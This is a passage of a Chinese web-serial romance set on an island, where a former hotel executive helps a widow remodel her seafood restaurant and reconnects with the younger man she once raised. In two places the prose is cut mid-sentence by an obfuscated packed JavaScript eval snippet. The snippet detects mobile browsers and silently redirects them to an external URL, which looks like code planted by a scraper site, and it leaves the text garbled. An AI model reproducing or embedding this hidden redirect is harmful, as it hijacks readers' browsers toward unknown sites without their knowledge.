陈昭吃了一半就感觉有些涨肚。 不过今天也不知道怎么回事,开门没多久,就有不少外岛的人来关顾小店。 陈昭见芬姐一个人忙不过来,索性起身,想着正好消消食,就去后厨帮她端面,顺便招呼客人和收银。 别看她以前是新丽的高管出身,但其实很小的时候,就顺着老太太的意思,从基层做起。 不仅是酒店大堂,到酒店后勤,乃至后厨的洗碗工她都干过。 做事相当麻利,几波人被她招呼得妥妥当当。 不过也在其中发现了一部分问题。 有人和她反馈,这脆鱼饭做得很一般,他们是冲着外面脆鱼饭的牌子过来的,结果大失所望,还不如一碗面来得好吃呢。 这倒是和陈昭刚开始的感觉差不多。 过了这个早饭点后,忙碌不停的芬姐这才得空。 她擦着汗从后厨走出,正要感谢陈昭,却无意看到陈昭的衣服破了一角。 她下意识地把目光放到收银柜台上,果不其然,已经坏掉一角木柜上还挂着她衣服的线。 不用多想,就知道她的衣服是被这烂角给划破了。 于是连忙从楼上拿出针线,示意陈昭把毛衣外套脱下来,自己帮她缝缝。 陈昭笑着说:“没事,这点小事就不用麻烦了,坏掉的衣服扔了就好。” “扔?你这衣裳多好啊,就坏了一个角,丢了岂不是可惜了?快,我给你缝好。你看我的衣服,缝补了照样能穿,再说你这个角缝补了也不会难看。” 陈昭这才注意到芬姐衣服上的各种补丁。 她忽然自嘲一笑,将外套脱下,坐在芬姐旁边盯着她双手麻利地缝补。 这个朴实的女人是她在明港从未接触过的一类人,仔细一想,自己已经脱离真正的生活太久,满满占据她的只有永无休止的工作,有些真正意义上的烟火生活,早就不接触了。 如今静下心,来到小岛上,新奇的同时那颗心也异常平静。 “芬姐,我能问问你的小饭馆,为什么叫笑声脆鱼饭吗?” 芬姐咬断针线,随口一回:“竹君她爸取的,我叫周小芬,他叫周生,小生小生,笑声笑声。” 提起那个男人,她眼底很明显的划过一丝落寞。 将补好的衣服递给陈昭时,她还破天荒地和陈昭多聊了一下:“你是不是觉得我做的脆鱼饭不太好吃?结果还挂着脆鱼饭的招牌?” 陈昭微愣,讪讪一笑。不等她开口,芬姐又说。 “其实这话早就有人和我说过,脆鱼饭是竹君她爸最拿手的菜品,只可惜,那年他走了后,招牌就砸我手里了。我啊,无论如何都做不出他那味道。久而久之,也没几个人愿意来吃了。” “饭馆效益不好,竹君现在又上高中了,我得多挣点,为她以后上大学做准备才是。只是这招牌……” 陈昭从她眼底看出了不舍,忽然就很理解她。 “竹君她爸爸是生病了吗?” 芬姐摇头:“当年救一个落水的游客,没上来。” 她眼眶湿润道:“很多时候人各有命,她爸是个好人,特别的热心肠,别人有时会和我说,当初不救那人就好了,毕竟被救的人离开小岛就再也没来过。可是我了解他,但凡重新来一次,他也还是会去救的。” “不过人死不能复生,我也看开了。” 陈昭拿过纸巾递到她面前,起身环顾四周转移话题。 “就像芬姐你说的,人死不能复生,可在世的人还是要好好生活。既然你想为竹君攒钱,何不让小饭馆重生下呢?” “这里不仅仅是竹君她爸爸留给你的念想,也是一笔小的财富。” 芬姐疑惑地看去,陈昭语重心长道。 “小岛如今是政府大力扶持的地方,刚刚那些来吃饭的人,就是一些外地游客。我问了他们,大概是政府推动聆海区做的旅行团活动,所以吸引了一些人过来。 而且我些天我有注意到小岛上各种基础设施都在进行整改,海洋研究院那边也联合出面配合当地做旅游规划。” “这个小饭馆占据着天然的地理优势,距离码头最近,又在主干道上,独栋小楼有很大的聚拢客源优势。” “脆鱼饭的招牌是你对竹君她爸爸的念想,但你最擅长的还是做海鲜面。而且我还吃过你做的烤鱿鱼,味道真的很棒!生腌也很不错。” “依我看,不如把招牌换成你所擅长的,把脆鱼饭这个主打调成副食。菜品做了调整后,店内的格局也得稍微换一换。动线更合理的话,客人体验感就会更好。” 这番话把芬姐说的一愣一愣的,但她又莫名觉得陈昭有种令人信服的感觉。 就像……以前小沈给她提的一些建议。 陈昭认认真真地看向她,语重心长道:“芬姐,既然你想要为竹君的以后做打算,就要适当改变了,抓住小岛发展的机遇,肯定能事半功倍。” “如果你相信我的话,我可以为你提出更具体的建议。” 芬姐想起竹君,平时零花钱都没有,这么大的女儿,连小岛都没出去过。 可隔壁的小桂花,去年还去了首都看升旗仪式,当初就把竹君羡慕到不行。 她知道女儿懂事,从不和她提出要求。就和她爸似的,什么苦都往自个心里咽。 越想这些,芬姐的心就越坐不住。 她想听听陈昭的建议:“陈小姐,我愿意相信你,我能听听你的建议吗?” 陈昭微微一笑,走到前台拿来纸笔,简单地画了一下。 饭馆目前而言,虽然干净,但也凌乱,尤其是动线不合理,明明采光,格局都很好的地方,却被用来堆放杂物等。 她每一个角落都不放过,和芬姐一股脑地提了不少建议。 从布局,到简单的缝补整改,换灯等细节都涉及。 芬姐那也是越听越觉得有理,当即决定闭店两天,专门根据她的想法来做整改。 刚好午时沈确要来给她修门牌,她索性打算和沈确说换个招牌得了。 “这样,我现在就去打印店和张老板说一下,我换个门牌过来,就叫笑声海鲜小吃馆,把海鲜面,炭烤海鲜等招牌都写到上面,还有菜单我明天也再重新做一份,今天我先好好想想。” 陈昭见她干劲十足,索性主动请缨:“那我先给你收拾收拾,等你回来咱们再把布局换一下,竹君放学后还能帮忙清扫。” “怎么能麻烦你呢!这些都是苦力活,我一个人来好。” “我闲着也没事,芬姐管我一顿饭就好。” 芬姐还来不及回话,屋外就传来沈确的声音。 陈昭眉眼轻动,从楼上的窗户往下看去,见到沈确扛着梯子站在饭馆外面,面色温和。 这小子,现在只在自己面前才那么严肃。 芬姐赶紧下楼,和沈确大概说了下后,解下围裙先去打印店弄招牌的事了。 等陈昭下来,沈确收敛笑容,抱起胳膊往门上一靠:“长公主怎么打算在这发光发热?不回明港管新丽了?” 陈昭忍不住一笑,忽然觉得他能故意呛自己,也挺有意思。 比以前那个事事都顺从他人,从不反抗的贴心棉袄,更显得有人气一点。 就像姑姑以前担心的,她不希望马西带回明港被养成事事都小心翼翼的孩子,他有血有肉,就应该和一般家庭中的孩子那样,除了懂事和善良,还有自己的娇纵和任性。 只有那些情绪都敢表达出来,未来他就会更加轻松一些。 然而那时的沈确,虽然嘴上说着答应,可很多事情还是习惯性的隐忍,退让,有时候毫无脾气,让陈昭都是无可奈何。 比如,姑姑离世后,陈家就有人上门,话里话外都不容忍他继续在姑姑的房子里呆着,要拿走姑姑留给他的不少东西。 他不反抗,顺着那些人的意思来,甚至在明港的天桥下睡了整整几个晚上。 那时陈昭因为外派,没来得及赶回明港,这小子也不主动联系自己。 等她知道这些事的时候,气得下飞机直奔天桥。 一眼就看到一个消瘦的少年坐在褥子上,啃着冰冷的馒头,手里还拿着书在看。 那时陈昭气不打一处来,满腔怒火只想质问他,为什么不去争取他该有的利益,为什么不给自己打电话! 可一面对他湿润委屈又故作镇定的目光,心疼就全部替代了怒气。 她就像泄了气的皮球,抱了抱他后带回了自己的住所。 次日就带着他去讨了公道!正式将他带到自己房子住。 所以说,看到现在对自己来了脾气的沈确,陈昭反倒是欣慰。 可沈确却不明白她为什么要笑,还打算开口,却被陈昭使唤:“既然都来了,想必这会你应该是空闲的。帮个忙,和我一起把这些桌子暂时都抬到院子里去,我清理下这个角落。” 沈确张了张口,蹙着眉头,喉咙里还有很多的话,好像被她的死令给堵了。 老老实实地卖起苦力。 两人一直忙活着,陈昭曾试图问问他一些生活近况,可沈确傲娇地不想回答。 正好芬姐又赶回来,切断了两人的交谈。 “招牌已经在打印了,等做好马上送过来。今天竹君他们放学早,应该很快就回来了,陈小姐,今晚你想吃什么,我都做给你吃,尽管点。” 陈昭也不和她含糊,点了烤鱿鱼和椰子饭。 芬姐连忙应好,还怕她的衣服再被刮坏,赶紧拿出一条新围裙递给她。 门口的沈确看着她忙前忙后的身影,眼神不知不觉变得专注起来。 他一直都知道,陈昭很能干。 虽然出身好,还时常被人说含着金汤匙,又是陈家老太太捧在心尖上的长公主,什么也不缺。但沈确知道,这都是她自己争取来的。 住在姑姑家的时候,他就经常听姑姑说昭姐是个很努力的人,后来住到了陈昭的房子里,他才切实感受到,她真的很努力。 大半夜的不是在处理工作,就是在看书,对于她管理的工作,她总是会去复盘,思考,进一步调整各种策略。 偶尔听到的电话,都是和工作相关,就算早上吃个饭,也是放着各种各样的新闻。 以前沈确还认真问过她,管理公司都是这么累吗?一刻都不能放松。 陈昭只说:“对于我而言,这也不算累吧,是我想做的事,顶多身体受点累。” 后来沈确找到了自己想要做的事,刚到科学院那会,他们连续三年追鲸,冬寒夏暑,风吹雨打,从练习潜水,到开游艇,再到急救,到写报告,去演讲,去接待等,他都不觉得有多累。 就像她说的,是他想做的事。 看着看着就出神了,直到周竹君挑着眉头,别有深意地挡住他视线,沈确才猛然回神。 片刻的慌乱,被周竹君抓在眼里。 “我就说,我就说!!!” 周竹君一脸八卦地把书包丢在刘润生的手里,一步跨过椅子坐到沈确身边,迫不及待地问。 “确哥,你特别特别喜欢姐姐是吧?” 沈确眉头一皱,扬手在她额头上狠狠弹了下。 “啊……” “敢乱说的话,我……” “哎呀我不说!!捅人秘密,毁天灭地,我才没那么傻呢。更何况姐姐那么好的人,我才不舍得给她泼脏水。” “你喜欢人家又不去追求人家,那是你的错,活该暗恋!略略略……” 丫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14641050|156429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头做了鬼脸后,转头一脸兴奋地跑去洗抹布。 听芬姐说他们家要改造,重新整改的时候,雀跃不已。 其实她早就想让小楼换新了,可每次和她妈说,都不当一回事。 如今有了这机会,她马上拉来刘润生,使唤他去扫地。 少年也乐在其中,干活特别麻利。后来周竹君又打电话喊了不少同学过来。 年轻人精力好,不到一个下午,店里已经焕然一新。 看着他们打打闹闹,陈昭忽然想起了一个很久都没有闯进自己记忆的人。 在周竹君他们这样的年纪,陈昭也有很好的朋友。 除了写茹外,还有一个和刘润生一样无限包容她们的少年。 芬姐见她若有所思,不禁问了一句:“陈小姐是想起了什么事?” 陈昭笑了笑:“芬姐,以后别和我这么客气,叫我陈昭或者昭昭都行。” “我只是看到竹君他们,想起了我的好朋友,他叫辛南,特别热心肠的男孩,小时候我还暗恋过他呢。” 芬姐一听,马上听出了八卦:“还暗恋他?那现在呢?” “现在……暗恋不成了。” 然而此刻沈确冷不丁地看过来,这个所谓的辛南,他为何从来没听说过? 或许是他的眼神太犀利,芬姐都察出了不对劲。 “小沈,你也留下来吃饭哈,今天真是辛苦你了。” 陈昭面对他似寒风一般的目光,扯动嘴角笑了笑,就当什么都没看见似的。 晚饭时芬姐做了一大堆的好菜,看着满满当当的一桌子,陈昭很钦佩她。 一个人在这么短的时间里能做出这么多好吃的,太厉害了。 芬姐不好意思地擦手:“我本来就是做这个的,有什么可夸的。对了,我这还有好酒!小沈肯定爱喝,昭昭你喝吗?” 陈昭诧异地看了沈确一眼,随后又婉拒:“芬姐,我不喝酒。” 这话也引起沈确好奇。 她以前闲暇时的爱好不多,工作之余,就喜欢喝点酒。 沈确经常看到她的案桌上会摆着一瓶醒好的红酒,就像水一样,工作时缺不了。 而且陈昭还说过:“小酌怡情,尤其是我一个人的时候,提神醒脑,比我喝咖啡还管用。” 但现在说不喝就不喝,也不知道是她故作矜持,还是已经改变了。 就像自己,从不喝酒的人,离开她后,也喜欢上了小酌怡情的感觉。 每次拿起酒杯,就能想到陈昭坐在案桌旁那个清瘦的身影。 思念漫长,酒杯在手的时刻,好像她也住进了心里。 所以说,人是会变的。 不过她现在不喝,沈确也不喝。 晚饭过后他站在门口回消息,余光却时不时地看向屋里。 楼上的竹君一看,露出了姨母笑。 刘润生疑惑不解:“你笑什么啊?” 周竹君冲他翻了个白眼,只觉得他真是榆木脑袋:“你没看到确哥在故意等姐姐?正所谓,暗恋是一个人的兵荒马乱,天知道确哥现在的心是如何澎湃!” “还得是我出马啊。” 说完便拍了拍手,下楼喊道:“姐姐,外面都天黑了,让确哥送你回去,前面路不好走!咱们确哥特别热心肠,是吧!” 也不等陈昭开口,她就跑到门口:“哎你看,确哥正等着你呢。” 沈确眉头一皱,周竹君一溜烟地跑回楼上。 陈昭看到门口的身影,笑了笑。 和芬姐告别后才往住所走。 沈确想了下,双脚没动,陈昭走了两步见他没动,歪头问:“不是要送我?” “就这么点距离,昭姐需要人送吗?” 陈昭无奈一笑,点点头:“也是,那我先走了。” 她转身欲走,可沈确还是跟到了她身后,冷不丁地问起来。 “姐夫知道你暗恋那个叫辛南的人吗?” “你不记得辛南了?” “我为什么要记得?” “以前你还跟我一起去看过他的家人,淞南山下。” 闻言,沈确忽然停下来,赫然想起,辛南竟是……她那位已经过世了很久的朋友。 曾经她还带着自己去淞南山下的小房里,给一个失独老人送过东西。 当时她是说,这老人是她朋友的祖父,朋友一家早年做生意失败,家族破产后,父母带着那位朋友躲债的时候出了意外,一家三口都不幸遇难。 留下一个失独老人住在老家。 陈昭为此还特意请了护工,每天都会有人去打扫照顾老人。 没想到那个朋友就是辛南。 沈确知道自己误会,还说了不该说的话,眼眸微闪,加快脚步跟到她身边软下语气。 “抱歉,我……” “没事,我也没和你提起过辛南。当然,以前我也是的确很喜欢他,不过这事别人也不知道。” “但人死不能复生,活着的人还是要好好生活。阿确,我觉得你现在的生活挺好的,姑姑如果知道肯定也会开心。” “我们……还能和以前那样,成为很好的家人吗?” 没有那层错误的关系,只是单纯回到那些年,互相感恩,互相关心和帮助的时候。 沈确沉下眼眸,怔愣之际,路灯忽然灭了。 陈昭抬头,路灯又亮了起来。可不到两秒,又变得漆黑。 “路灯坏了,你回去小心一点,当然也不着急回答我,你可以好好想想。” 她给了沈确一个宽慰的笑容后,便走到楼梯口那打算上去。 结果因为没看清路,一个趔趄差点摔倒。 沈确下意识地往前,却被陈昭喊住:“我没事。” 等站直身子后,她小心沿着石阶梯走上了楼。 而沈确一路目送她,见到阁楼灯亮后才收回目光。 他真的能做到以前那样,和她做很好的家人吗? 虽然他想,可沈确觉得自己还是做不到。 可相对而言,如果要在假装做家人和分道扬镳这两条路上选择的话,他还是会选择前者。 至少能看到她,就很开心了。 他唇角勾起笑意的时候,路灯又闪烁了一下。 沈确抬头,看了一眼头顶坏掉的路灯后,果断敲响了蔡奇家的门。 蔡奇今天去出岛进货,回来屁股还没坐热,就被沈确拉下楼搬梯子。 他一脸迷茫:“哥啊,这大晚上的你要干嘛?” 12. 012. 半个小时后,蔡奇抬头盯着那已经修好的路灯,一脸不解。 只见他双手叉腰,倚靠在路边的栏杆上控诉道。 “我的哥哥,你知道今天我有多累吗?我回来就是为了帮你扶梯子的吗?苍天,一个路灯,人政府都没管,你倒是给管上了。” 说完这话后,还是忍不住地翻了个白眼。 然而沈确置若罔闻,目光从路灯移到那已经熄灯的阁楼上。 想必今天累到倒头就睡了吧。 他印象中的陈昭,很少有失眠的时候。 因为白日太忙碌,劳心劳力,特别是有大项目需要跟进的时候,回到家,连妆都来不及卸妆,一倒床就会睡过去。 想到这,沈确莫名想起了回忆里的某个画面。 那天的陈昭从一个酒局回来,他也面临期末考试,为了不让人失望,沈确挑灯夜读,专心把最后的知识点都装进自己的脑袋里。 他知道那天陈昭去庆功酒局了,他还在电视上看了转播,从诸多镜头里找到了那个一扫而过的身影。 他第一次看陈昭穿着翡翠绿的绸缎裙,哪怕只有几个快速闪过的镜头,他也觉得耀眼的好看,其他的人都只是背景。 而后续的庆功宴,总是免不了碰酒。 在她别墅里住了一年,沈确已经摸清了她的一些日常行程。 所以那天从学校回家的时候,特意从便利店里买了两杯她偶尔会喝的牛奶。 玻璃瓶,瓶口还缠了一圈黄色的纸带,沈确注意到,每次她喝的时候都喜欢把纸带取下套在手指上转圈。 彼时的沈确则盯着那两瓶被自己反复热的牛奶,猜测着她今晚是不是不会回家。 同时也学着她的模样,把黄色的纸带套在自己的手指上转动着,脑子里的知识点,在不经意之间就换成了陈昭的脸。 等他意识到的时候,陈昭的车也在车库门前停下了。 她满身疲惫地走进屋子,在楼梯上看到欲下楼的沈确。 顿愣之际,陈昭忽然朝他伸手:“过来帮个忙,扶我一下。” 她喝多了,有些晕乎,更多的是乏力。 沈确怔愣,可不等他反应,陈昭已经拉过他的胳膊,带着香气的身子整个就靠了过来。 吓得沈确慌忙伸手,但又不敢用手掌触碰她身体的任何一个地方,局促之下只得用自己的腕骨抵住她的腰身,肩膀借力给她靠着。 然后再慢慢带着她往房间里挪动。 那时的陈昭,好像一个烫手的山芋,让沈确浑身都像被烫一样,尴尬到目光都不敢多抬。 青涩的脸早就像熟透的红柿子。 将陈昭放下来后,他几乎是迫不及待地转身想离开,可转身过后,又听到高跟鞋甩到一旁的声音,以及陈昭疲惫的唤声。 “阿确,帮我……去拿下卸妆棉好吗?” 她闭着眼睛,喃喃自语一般,声音很小,但还是被沈确听到了。 他看了一眼卫生间,在一堆的瓶瓶罐罐里找到了卸妆棉,和卸妆水。 可他不会用,只能从兜里拿出手机,从搜索引擎里找到具体的卸妆办法。 然后深吸一口气,轻手轻脚的走到陈昭身边。 她如想象中那般睡了过去,妆容在脸,很明显。 沈确在纠结到底要不要出手帮她,一番挣扎后,他还是按照搜索来的方法,一步步的照做。 他在床边蹲下来,屏着呼吸,小心翼翼地出手,生怕吵醒了她。 然而睡梦中的陈昭毫无清醒之意,哪怕沈确给她扯下睫毛,她连眼珠子都没有动过。 那张近在咫尺的脸,褪去浓墨重彩,出乎意料地清丽。 精巧又柔润的五官,在沈确的心里变得越发清晰起来。 如果,他是说如果。 陈昭身上没有无形的刺,就像睡着的时候,永远那般温柔,也许那一晚过后,自己也不会被刺到遍体鳞伤。 也许他还能有更多的机会,争取和她在一起。 只可惜,冷静又克制的陈昭,永远都是理智的,她的性格可没她看起来这么温和。 他正陷入沉思,蔡奇忍无可忍地怒喊起来。 “还能不能行了!!我的哥哥!我们可以回去了吗?你愣什么啊?” 沈确被强制拉回思绪,看到那小子着实累到了,一把将梯子扛过来。 “想吃什么,犒劳。” 一提起吃的,蔡奇的两只眼睛瞬间瞪大了!满心欢喜,态度也像顺毛的小狗,马上软和下来。 略显……谄媚。 “哎呀,确哥你又请客,多不好意思啊,不过我想吃烤串,去东姨家吃,啊,不对!东姨家好像没开门,她说这两天是准备去首都她儿子家的!早几天就在岛上叫嚷了。” “东姨要去找他儿子了?”沈确有些诧异。 “可不是么!这儿子自从上大学后离岛,就再也没回来过,现在都在外面娶妻生女了,老母亲啊也没见过儿媳妇。我听说那女孩是首都本地人,总之!东姨能去见她儿子是件好事。” “你知道她很热心的,这次过去,杀鸡宰鸭,忙前忙后,烧烤摊都几天没出了。所以……我们换一家!去宋哥的小酒馆。” 蔡奇顿时来了兴致,转身扛过梯子,活力满满地跑下坡。 沈确三步一回头,唇角微勾,眼底闪过别有深意的目光。 次日一早。 陈昭洗漱的时候,发现康老师站在楼下冲她招手。 “昭昭。” 陈昭有些诧异,加快速度后从窗户里探出头来:“康老师?” “昭昭,我先生昨晚已经把方案做出来了,我想着你今天有空的话到我们那去看看,顺带去吃个早饭吧。” “好,我马上下来。” 陈昭尽快穿上外套,一边整理头发一边下楼。 康老师脖子上还挂着一个轻便的相机,她笑容满面地跟陈昭介绍:“昨天我一直在小岛上逛,本来想叫你一起来着,但我看你在路口那家脆鱼饭店帮忙,我就没叫你了。” “我找到一个小岛上的好地方,带你过去瞧瞧。” 陈昭不知道康老师所说的好地方是哪里,然而等她到那的时候,的确惊讶了一下。 一整条小道,两旁都种满了三角梅。 这几天气温暖和,陆续开了不少。 若等四月份到来,开春之后,这条路那就更好看了。 而小路两边都是一些文艺的小店。 有小酒馆,也有烘焙,还有咖啡店。 装潢挺别致,此前她真没注意到这个角落。陈昭来到小岛后基本上都在码头和海岸附近溜达。 这条路已经是上山的路了。 此刻康老师热情为她介绍:“在这里开店的啊都是一些年轻人,这条小路直通前方的蒙口火山地质公园。” “就前方那个岔路口,我们去那里吃海鲜粥,特别特别的鲜甜!” “对了,如果你不着急看方案的话,我们吃完后还可以过去看看那个火山地质公园。” 对此陈昭毫无意见。 这家的海鲜粥食材和芬姐他们店一样,都是渔船现场捕捞上来的海鲜,虾,贝等,与米粥熬煮在一起,满满一碗都是大海的鲜味。 海鲜的清甜和米粥的绵滑结合得十分够味,那么一大碗,陈昭几乎是不带犹豫地全部吃了下去。 康老师也吃得见底,对这海鲜粥啊那是赞不绝口。 “新鲜的海鲜味道就是不一样,我家那边想吃一口海鲜都难,内陆连海都没见过。” “这次啊,还是我人生第一次看海。” 陈昭见她满脸的幸福,自己也忍不住被感染露出笑意。 不由得支起下巴问道:“康老师你以前就没想过是出来看海吗?” “年轻的时候都在忙于生计,退休后又帮着儿女带孙子,虽然有过好几次出来旅游的想法,但每次都被事情拖着走。” “现在也总算是如愿了,等咱们民宿房子弄好,还能住久一些,我这心里光是想想都开心!!” 陈昭支着下巴,也是第一次这么耐心,这么放松地去听别人讲他们自己的故事。 而且她还能从其中感觉出幸福,这种感觉很奇妙。 康老师和她一路聊到小路尽头,他们远远就看见了伫立在小路尽头的那块牌匾。 而牌匾的前方,则是一望无际湛蓝的海洋! 火山熔岩壮观而神秘,绵延在蓝色海洋的接壤之处。 兴许是天气忽然好了,他们不用潜水,都能在浅海的地方看到活珊瑚。 康老师拿着相机拍个不停,陈昭便将这些景色一一用眼睛记录下来。 对她而言,当下的感受比借助辅助工具长久保留更重要。 然而两人闲逛了一圈后,忽然听到小孩的哭声。 康老师与她相视一眼,两人下意识地往声音传来的方向而去。 拨开草丛之后,赫然看到两小孩摔在泥巴堆里,满身都裹满了黄泥巴,像个泥塑小人。 两小孩估计是没注意到草丛后面这块泥巴地,不小心给摔下去了。 虽然不高,但湿泥巴太滑,难以上来。 这才吓得哇哇大哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14641051|156429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 康老师一看,赶紧安慰他们:“哎呦宝宝们别哭,奶奶带你们出去。” 说着就要上前帮忙,陈昭见状,立刻拦下康老师:“康老师我来就行了,你别滑着。” 陈昭小心地上前,虽然踩在软烂的泥巴地有些不舒服,但救人要紧。 可没想到她刚伸手,想把小孩拽上来的时候,小孩重量一加,她脚下猛地一滑,竟也摔了进去! 一道凉意溅到脸上,她就知道,糟了。 她这是结结实实地摔了个狗吃屎。 自己这张脸肯定是不能看了。 这可把康老师急得:“哎呀昭昭,昭昭你没事吧?!!你疼不疼啊。” 而身边的小朋友在看到她满脸泥巴的时候,忽然被逗笑,害怕地抱住陈昭又哭又笑。 陈昭赶紧安慰:“我没事,康老师你别急,小朋友们也别害怕啊,你看我和你们一样摔下来了,都成小泥人了。” 康老师见她没事后才放下心来。 “你没事就好,你们先等等,我这就去找人过来帮忙啊。” 陈昭本来还想着把小孩托上去,但泥地实在太滑,没有能抓住的地方,试了两次,那小男孩是个手指甲里全部都是泥巴还是没上去。 只能老老实实地等康老师带人过来。 在此期间,两小孩有她的陪伴也不害怕了,小女孩更是记起来:“你是住在隔壁楼顶的阿姨!” 陈昭仔细看了看,这才认出这是她住所邻居家的小孩。 每天都爬树,被她妈妈揍哭的那位。 陈昭失笑,打趣道:“原来是你呀,我看你天天爬树,这个坑怎么爬不出去了?” 女孩认真告诉她:“因为这些泥巴太滑了,爬树不一样,树干上很多的落脚点,和我们的手也有摩擦力,不打滑。” 没想到懂的还挺多。 不过陈昭并不擅长和小朋友打交道,而且平常也接触不到这么小的孩子。 所以搭不上腔,偶尔听他们说方言,自己还得竖着耳朵听好几遍才反应过来。 小女孩很是骄傲地在她面前“炫耀”他们的家乡话,还说要教陈昭。 陈昭不甘示弱,索性也教他们说起了明港话。 然而这时康老师搬救兵过来,人一到场,看到这三个泥人,他实在忍不住笑出声来。 来人是杨硕。 他笑眯眯地盯着陈昭,也不着急拉她上来,而是先找来相对平整的石块放在坑边上。 一边准备还一边笑道:“陈小姐,你……还好吧?” 陈昭倒也不急,若是换做以前,她绝对不允许自己狼狈成这样。 不过现在却别有一番意思,小男孩都直接摆烂了,知道有人来救,他索性在泥潭里滚了个遍,还拉着陈昭看。 “阿姨你快看,我就是最最最正宗的小泥人!!” 这一刻,陈昭是真的被逗笑,余光瞥见一只手伸来,她下意识地抓过去。 然而转头之后,并不是杨指导,而是沈确。 她微微愕然,下意识想缩手已经来不及了,沈确一把将她捞起,右手顺势搂过她的腰,将她整个人就这样抱到了地面。 一旁的杨硕也顺势将两小孩给抱起来。 陈昭耳根微热,沈确沉着目光看向她,忍不住轻笑:“他们是正宗小泥人的话,你岂不是正宗的大泥人?” 陈昭见他还没放开自己,别开目光想要后退,结果反被他拉住腕骨,被拉近跟前后替她扒拉了下头发。 在旁人看来,再正常不过的姐弟,可陈昭却莫名发怵,挡下他的手,毫不犹豫地退到康老师身边。 康老师连忙将包里的湿巾递过去:“快,快擦擦,这天还是凉的,别冷到了,咱们快回去换衣服。” 沈确眉眼微动,目光紧紧地黏过来。 既然是要恢复到从前关系的人,她为什么靠近自己时还会有这种局促的反应? 他沉下目光,嘴角轻动,提起步子便牵着陈昭的手走出去。 “杨指导,我先带我姐坐我车回去了,小孩你负责。” 杨硕还没反应过来,那人就不见了。 此时陈昭盯着被他紧抓的腕骨,秀眉微蹙,想提醒他,却又不知怎么拒绝才好。 最终还是甩开手,淡然问道:“你开车过来的吗?” 沈确并没回答她的问题,反而盯着她甩开的那只手,别有深意地反问:“不是说好要回到当初的家人关系吗?你在紧张什么?” 陈昭一顿,瞬间面色坦然地露出笑容。 指着路旁的自行车问:“你的?” 13. 013. 只一瞬,陈昭就已经恢复如常。 她自觉地坐到了自行车的后座,也不顾自己脸上和身上的泥巴水,一脸坦然地示意沈确过来开车。 “麻烦你送我回家,我这身行头实在不雅观。” 沈确看着她还面带微笑,心中一动。 他一直以为陈昭是有点洁癖的。 她的住所,阿姨每天都会里里外外的清扫两边,一定要一尘不染,日常生活中,她看起来也很讲究。 以至于当初沈确首次住在她的屋子里,那段时间都很紧张。 不同于姑姑的随性,她对所有事情都循规蹈矩,甚至每天都好像在重复着同样的事情。 固定的时间起床,固定的时间吃早饭,固定的时间点出门。 有时候一星期下来,连衣服样式都是固定的,唯一不同的就是颜色区别。 沈确从未见过陈昭如今的样子。 随性,又……亲切。 他并没有耽误很多时间,毕竟现在还是冬季,垂着的风夹着寒意。 沈确骑着自行车,以最快的速度带她回了房子,在门口刚好遇到给她送鱿鱼干的芬姐。 见她这泥人模样,芬姐大为吃惊:“这是……怎么了?” 陈昭冷到脸色发青,也顾不上和芬姐原地聊天,言简意赅地说了下事故经过后,先回阁楼冲个热水澡,里里外外彻底换了一身衣服后才出门。 但等她开门之后,芬姐和沈确已经不见了人影。 只有门口把手上挂着好几袋的鱿鱼干。 陈昭嘴角微微勾起,拿起那袋鱿鱼干,不禁想着自己该怎么处理这些东西。 说实话,陈昭自认为在不少领域都可以做到游刃有余,唯独下厨这事,她绝对是没有天赋的。 也只有沈确,会捧场说她做的东西好吃。 无条件的,即便是带着一股浓厚的糊味,他也会吃得津津有味,再鼓励她:“比上次进步很多了。” 换做赵写茹,只会劝她彻底放弃下厨这件事,连挣扎都不要有,因为纯纯浪费时间。 所以她把那些鱿鱼干暂时挂了起来,这时候康老师给她打来了电话,说约在脆鱼饭店吃晚饭,顺道给她看一下庄教授的方案。 然而等陈昭下楼,走到斜坡上时,忽然看到已经坏了的灯又亮了起来,甚至比之前还要亮堂。 她抬头一看,一时还有些晃眼。 她想了一下才回神,快步走向脆鱼饭店。 芬姐知道她受了凉,特意给她煮了一碗海鲜汤。 鲜贝,明虾肉,还有用柠檬汁腌渍过的青口贝,混着洋葱,蘑菇一起加入鱼汤,烧滚后用小火煨了差不多两个小时。 端上来的时候,味道鲜美的不行,连康老师两夫妻也顾不上方案的问题,先解决了晚饭再说。 芬姐本想着过去和陈昭聊会,可没想到饭点这会忽然来了一拨人,她根本走不开。 见她那么忙,陈昭还想去打个下手,却在这时被芬姐拦下:“就不麻烦你了,你晚饭还没吃完呢,我这来了帮手。” 说完便伸手指向后厨窗户外的一条小道,只见一个骑着自行车的中年男人,还穿着迷彩的工作服蹬着自行车风风火火地赶来。 车还没停稳,人就已经一股脑跳到后厨门口。 “最佳助力来了,包个晚饭啊。” 他熟稔地洗手端菜,转身之际才看到站在芬姐身后的陈昭,稍顿了一下,正要发问,芬姐提前介绍。 “陈小姐,我店里的顾客,雅姐姐他们家的租客。” 男人马上恍然的点头:“游客!你好你好陈小姐,欢迎来我们小岛玩,你看我们这会比较忙,等闲了我帮你做个小岛攻略,包你玩得开心玩得尽兴!” 看着这热情的男人,陈昭也就不帮倒忙了,附和了几句后回到了楼上的餐桌前。 此刻庄教授已经将平板上的粗略方案打开,开始和陈昭介绍起他的一些想法和设计理念。 在这方面,陈昭和不少专业的团队打过交代。 